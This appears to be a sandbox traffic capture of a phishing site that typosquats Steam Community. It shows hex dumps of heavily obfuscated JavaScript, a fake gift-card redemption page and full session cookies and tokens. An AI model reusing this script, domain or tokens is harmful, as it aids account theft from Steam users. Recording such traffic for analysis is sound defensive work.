2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 2c 56 4e 72 6e 50 65 4a 3d 7b 5b 54 79 48 5a 7a 76 62 28 30 78 35 64 29 5d 3a 4a 77 41 6b 54 51 28 30 78 31 37 29 2c 49 75 36 58 47 4e 75 3a 4a 77 41 6b 54 51 28 30 78 32 66 29 2c 5b 54 79 48 5a 7a 76 62 28 30 78 36 39 29 5d 3a 4a 77 41 6b 54 51 28 30 78 33 31 29 2c 5b 54 79 48 5a 7a 76 62 28 30 78 36 66 29 5d 3a 4a 77 41 6b 54 51 28 30 78 66 29 7d 2c 72 76 42 35 69 31 66 3d 41 73 63 74 64 6d 28 28 29 3d 3e 7b 76 61 72 20 4f 6b 4d 6d 47 6e 2c 75 72 31 47 46 57 2c 72 38 42 71 5f 75 39 3b 66 75 6e 63 74 69 6f 6e 20 59 7a 51 61 4b 68 28 4f 6b 4d 6d 47 6e 29 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 30 78 31 35 3f 4f 6b 4d 6d 47 6e 2d 30 78 32 36 3a 4f 6b 4d 6d 47 6e 2d 30 78 31 36 5d 7d 74 79 70 65 6f 66 28 4f 6b 4d 6d 47 6e 3d 4a 77 Data Ascii: ,VNrnPeJ={[TyHZzvb(0x5d)]:JwAkTQ(0x17),Iu6XGNu:JwAkTQ(0x2f),[TyHZzvb(0x69)]:JwAkTQ(0x31),[TyHZzvb(0x6f)]:JwAkTQ(0xf)},rvB5i1f=Asctdm(()=>{var OkMmGn,ur1GFW,r8Bq_u9;function YzQaKh(OkMmGn){return uBmvIT[OkMmGn<0x15?OkMmGn-0x26:OkMmGn-0x16]}typeof(OkMmGn=Jw
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 4a 54 55 3d 5b 4a 77 41 6b 54 51 28 30 78 31 32 29 2c 4a 77 41 6b 54 51 28 30 78 32 31 29 2c 4a 77 41 6b 54 51 28 30 78 32 35 29 5d 2c 5a 59 4d 39 76 79 79 3d 7b 5b 47 6e 72 69 64 70 67 28 2d 30 78 33 32 29 5d 3a 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 67 28 2d 30 78 31 29 29 7d 29 3b 63 6f 6e 73 74 20 72 76 42 35 69 31 66 3d 5b 5a 59 4d 39 76 79 79 5b 54 79 48 5a 7a 76 62 28 30 78 35 39 29 5d 2c 4a 77 41 6b 54 51 28 30 78 31 31 29 2c 75 34 63 4a 54 55 5b 30 78 30 5d 2c 4a 77 41 6b 54 51 2e 61 70 70 6c 79 28 54 79 48 5a 7a 76 62 28 30 78 35 65 29 2c 5b 30 78 31 33 5d 29 2c 4a 77 41 6b 54 51 28 30 78 31 34 29 2c 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 67 28 2d 30 78 33 31 29 29 2c 4a 77 41 6b 54 51 28 30 78 31 35 29 2c 4a 77 41 6b 54 51 28 47 6e 72 69 64 70 Data Ascii: JTU=[JwAkTQ(0x12),JwAkTQ(0x21),JwAkTQ(0x25)],ZYM9vyy={[Gnridpg(-0x32)]:JwAkTQ(Gnridpg(-0x1))});const rvB5i1f=[ZYM9vyy[TyHZzvb(0x59)],JwAkTQ(0x11),u4cJTU[0x0],JwAkTQ.apply(TyHZzvb(0x5e),[0x13]),JwAkTQ(0x14),JwAkTQ(Gnridpg(-0x31)),JwAkTQ(0x15),JwAkTQ(Gnridp
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 6b 4d 6d 47 6e 2d 30 78 33 35 3a 4f 6b 4d 6d 47 6e 2d 30 78 35 33 5d 7d 75 34 63 4a 54 55 3d 4a 77 41 6b 54 51 28 5a 59 4d 39 76 79 79 28 30 78 31 66 29 29 3b 74 72 79 7b 76 61 72 20 47 6e 72 69 64 70 67 3d 41 73 63 74 64 6d 28 4f 6b 4d 6d 47 6e 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 2d 30 78 31 61 3f 4f 6b 4d 6d 47 6e 2d 30 78 31 35 3a 4f 6b 4d 6d 47 6e 2b 30 78 31 39 5d 7d 2c 30 78 31 29 3b 63 6f 6e 73 74 20 56 35 50 6a 63 31 67 3d 4b 37 65 76 70 33 28 4b 37 65 76 70 33 28 70 61 72 73 65 49 6e 74 28 72 38 42 71 5f 75 39 28 30 78 31 61 31 2c 30 78 31 61 34 29 29 2c 66 52 73 75 67 5f 37 28 2d 30 78 31 36 29 29 2f 47 6e 72 69 64 70 67 28 2d 30 78 39 29 2b 70 61 72 73 65 49 6e 74 28 72 38 42 71 5f 75 39 28 30 78 31 61 34 2c Data Ascii: kMmGn-0x35:OkMmGn-0x53]}u4cJTU=JwAkTQ(ZYM9vyy(0x1f));try{var Gnridpg=Asctdm(OkMmGn=>{return uBmvIT[OkMmGn<-0x1a?OkMmGn-0x15:OkMmGn+0x19]},0x1);const V5Pjc1g=K7evp3(K7evp3(parseInt(r8Bq_u9(0x1a1,0x1a4)),fRsug_7(-0x16))/Gnridpg(-0x9)+parseInt(r8Bq_u9(0x1a4,
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 6d 47 6e 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3e 30 78 31 33 3f 4f 6b 4d 6d 47 6e 2d 30 78 31 34 3a 4f 6b 4d 6d 47 6e 2d 30 78 33 37 5d 7d 2c 30 78 31 29 3b 64 6f 63 75 6d 65 6e 74 5b 4a 77 41 6b 54 51 28 59 6f 38 61 39 4d 59 28 30 78 33 63 29 29 5d 5b 43 4b 45 68 52 43 28 30 78 33 33 2c 54 79 48 5a 7a 76 62 28 30 78 38 31 29 29 5d 3d 43 4b 45 68 52 43 28 59 6f 38 61 39 4d 59 28 30 78 32 35 29 2c 54 79 48 5a 7a 76 62 28 30 78 36 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 42 47 49 6b 6a 64 28 29 7b 76 61 72 20 4f 6b 4d 6d 47 6e 3d 41 73 63 74 64 6d 28 75 72 31 47 46 57 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 75 72 31 47 46 57 3e 30 78 36 33 3f 75 72 31 47 46 57 2b 30 78 36 3a 75 72 31 47 46 57 3c 30 78 32 30 3f 75 72 Data Ascii: mGn=>{return uBmvIT[OkMmGn>0x13?OkMmGn-0x14:OkMmGn-0x37]},0x1);document[JwAkTQ(Yo8a9MY(0x3c))][CKEhRC(0x33,TyHZzvb(0x81))]=CKEhRC(Yo8a9MY(0x25),TyHZzvb(0x60))}function BGIkjd(){var OkMmGn=Asctdm(ur1GFW=>{return uBmvIT[ur1GFW>0x63?ur1GFW+0x6:ur1GFW<0x20?ur
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 46 57 2d 30 78 33 31 3a 75 72 31 47 46 57 2b 30 78 31 39 3a 75 72 31 47 46 57 2d 30 78 32 39 3a 75 72 31 47 46 57 2d 30 78 32 37 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 30 78 39 39 2c 66 52 73 75 67 5f 37 28 2d 30 78 31 36 29 29 2c 4b 37 65 76 70 33 28 30 78 39 30 2c 66 52 73 75 67 5f 37 28 2d 4f 6b 4d 6d 47 6e 28 30 78 33 61 29 29 29 29 5d 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 54 79 48 5a 7a 76 62 28 30 78 36 38 29 2c 68 43 75 79 5a 61 3d 2d 30 78 31 36 29 2c 4b 37 65 76 70 33 28 30 78 39 30 2c 66 52 73 75 67 5f 37 28 2d 4f 6b 4d 6d 47 6e 28 30 78 33 61 29 29 29 29 5d 28 29 7d 2c 54 79 48 5a 7a 76 62 28 30 78 37 39 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 6d 66 48 61 54 28 4f 6b Data Ascii: FW-0x31:ur1GFW+0x19:ur1GFW-0x29:ur1GFW-0x27]},0x1);return window[ur1GFW(K7evp3(0x99,fRsug_7(-0x16)),K7evp3(0x90,fRsug_7(-OkMmGn(0x3a))))][ur1GFW(K7evp3(TyHZzvb(0x68),hCuyZa=-0x16),K7evp3(0x90,fRsug_7(-OkMmGn(0x3a))))]()},TyHZzvb(0x79)))}function JmfHaT(Ok
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 79 79 2b 30 78 35 33 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 7a 4c 31 34 63 67 66 3d 2d 75 34 63 4a 54 55 28 2d 30 78 32 36 29 7d 2c 54 3a 28 29 3d 3e 7b 76 61 72 20 75 34 63 4a 54 55 3d 41 73 63 74 64 6d 28 5a 59 4d 39 76 79 79 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 5a 59 4d 39 76 79 79 3c 30 78 31 65 3f 5a 59 4d 39 76 79 79 2b 30 78 32 34 3a 5a 59 4d 39 76 79 79 2b 30 78 31 5d 7d 2c 30 78 31 29 3b 69 66 28 7a 4c 31 34 63 67 66 3d 3d 56 35 50 6a 63 31 67 2b 28 56 35 50 6a 63 31 67 2b 28 7a 4c 31 34 63 67 66 2d 30 78 31 33 61 29 29 7c 7c 75 34 63 4a 54 55 28 30 78 62 29 29 7b 21 28 56 35 50 6a 63 31 67 2b 3d 30 78 36 39 2c 7a 4c 31 34 63 67 66 2d 3d 30 78 34 65 29 3b 72 65 74 75 72 6e 20 56 34 58 69 63 65 6d 28 30 78 34 30 29 7d 21 28 68 Data Ascii: yy+0x53]},0x1);return zL14cgf=-u4cJTU(-0x26)},T:()=>{var u4cJTU=Asctdm(ZYM9vyy=>{return uBmvIT[ZYM9vyy<0x1e?ZYM9vyy+0x24:ZYM9vyy+0x1]},0x1);if(zL14cgf==V5Pjc1g+(V5Pjc1g+(zL14cgf-0x13a))\|\|u4cJTU(0xb)){!(V5Pjc1g+=0x69,zL14cgf-=0x4e);return V4Xicem(0x40)}!(h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:49 UTC	1067	OUT	GET /7d1d7c577e0751535b5d515e740d5e565958575e HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E
2024-10-06 11:20:49 UTC	1182	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:49 GMT Content-Length: 0 Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA; Path=/; Expires=Sun, 06 Oct 2024 15:20:49 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=twUELUIZbjD4J3F7FsmwSIPuDEvoipCpZxH1CyrSprifq7CdkpcaD8kRKG1sWUdax5i3AqEcMha%2F1gUJrjJwUY%2BpNNg2zQUkNidIulaDAbop144DIOynkPTqiQB2YheCVOTzks%2FWYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543ad7faa17f9-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49708	104.102.49.254	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:49 UTC	553	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:49 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Mon, 02 Sep 2024 15:18:07 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Sun, 06 Oct 2024 11:20:49 GMT Connection: close
2024-10-06 11:20:49 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-10-06 11:20:50 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-10-06 11:20:50 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-10-06 11:20:50 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49711	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:50 UTC	1456	OUT	GET /fact/actual/get HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:51 UTC	1005	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VrhWHXNRNw8QrykcHtI3%2FwfmhyLpHUELNoF627sUeizt5Dz65sg79ypLLjpJucI%2BqoDiRrLdNd2AEbqcnDFdwMqzYiKdm0afBG%2BPo39Qx2b7jDJAU8lksPFw6xVa5Wlswh2wk0Pw8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ce543b5d8978cbf-EWR
2024-10-06 11:20:51 UTC	364	IN	Data Raw: 33 66 61 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 3fa0<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 74 69 74 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 27 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 27 20 74 79 70 65 3d 27 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 27 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 69 6d 61 67 65 27 20 63 6f 6e 74 65 6e 74 3d 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f Data Ascii: <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'> <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'> <meta property='og:image' content='https://store.akamai.steamstatic.com/public/
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 27 2c 27 45 45 56 4b 37 3d 5a 3b 3b 52 27 2c 27 45 45 30 3d 66 2c 41 27 2c 27 42 45 5a 32 62 27 2c 27 64 72 57 66 53 5b 41 27 2c 27 5b 2b 59 62 3b 6d 75 4d 5b 32 5b 75 77 50 39 64 2e 41 27 2c 27 65 50 28 67 2a 5b 2f 4e 78 53 49 3b 69 39 4d 27 2c 27 71 61 3b 49 63 2c 6d 43 27 2c 27 5a 72 65 66 65 27 2c 27 78 6f 6a 67 5d 5b 41 27 2c 27 70 77 29 2c 6c 6c 39 58 67 35 73 30 55 50 50 6e 27 2c 27 45 45 66 3c 2f 5b 6a 4e 72 55 27 2c 27 36 69 6d 66 4e 5b 55 43 2c 52 43 76 65 78 38 6a 2e 49 63 3d 79 3b 6f 65 61 55 32 75 3e 78 6a 4c 64 50 42 32 66 2c 78 76 23 46 5d 34 70 45 6e 6e 2a 55 5e 49 27 2c 27 32 61 56 4b 65 2c 41 27 2c 27 75 4a 28 67 67 3e 6d 43 27 2c 27 49 45 30 3d 63 2c 79 43 27 2c 27 64 50 40 4a 76 29 63 65 47 27 2c 27 77 35 39 4b 65 2c 41 27 2c 27 49 29 Data Ascii: ','EEVK7=Z;;R','EE0=f,A','BEZ2b','drWfS[A','[+Yb;muM[2[uwP9d.A','eP(g[/NxSI;i9M','qa;Ic,mC','Zrefe','xojg][A','pw),ll9Xg5s0UPPn','EEf</[jNrU','6imfN[UC,RCvex8j.Ic=y;oeaU2u>xjLdPB2f,xv#F]4pEnnU^I','2aVKe,A','uJ(gg>mC','IE0=c,yC','dP@Jv)ceG','w59Ke,A','I)
2024-10-06 11:20:51 UTC	1369	IN	Data Raw: 74 71 48 49 2b 30 78 33 35 5d 7d 2c 30 78 31 29 3b 55 4c 6d 73 6f 52 30 3d 28 42 6f 70 5a 4c 61 4d 26 66 6d 35 38 58 43 6e 28 2d 30 78 32 38 29 29 3c 3c 6f 78 65 45 62 49 28 30 78 33 66 29 7c 51 68 74 71 48 49 5b 6c 59 4f 41 6d 75 6e 2b 2b 5d 26 30 78 33 66 7d 65 6c 73 65 7b 69 66 28 42 6f 70 5a 4c 61 4d 3c 3d 30 78 65 66 29 7b 76 61 72 20 74 32 44 4e 39 62 3d 51 72 76 66 5f 62 7a 28 51 68 74 71 48 49 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2d 30 78 34 32 3a 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3c 30 78 32 31 3f 51 68 74 71 48 49 2d 30 78 34 36 3a 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2b 30 78 35 31 3a 51 68 74 71 48 49 2d Data Ascii: 